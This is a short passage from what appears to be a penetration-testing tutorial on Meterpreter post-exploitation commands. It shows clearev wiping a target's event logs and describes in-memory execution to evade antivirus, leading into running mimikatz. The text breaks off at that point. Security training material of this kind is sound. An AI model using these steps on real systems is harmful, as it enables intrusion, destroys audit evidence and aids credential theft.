Meterpreter system commands allow you to access system-specific commands without dropping to a shell session.
Understanding the Meterpreter system commands
How to do it...
- clearev clears the Application, System, and Security logs on the target system:
meterpreter > clearev
[*] Wiping 525 records from Application...
[*] Wiping 1916 records from System...
[*] Wiping 1565 records from Security...
- The execute command executes a command on the target. The awesome thing about the execute command is that it allows us to run commands from memory without uploading the binary to the target, this way effectively bypassing several antivirus products.
In the next example, I will show you how to run mimikatz directly...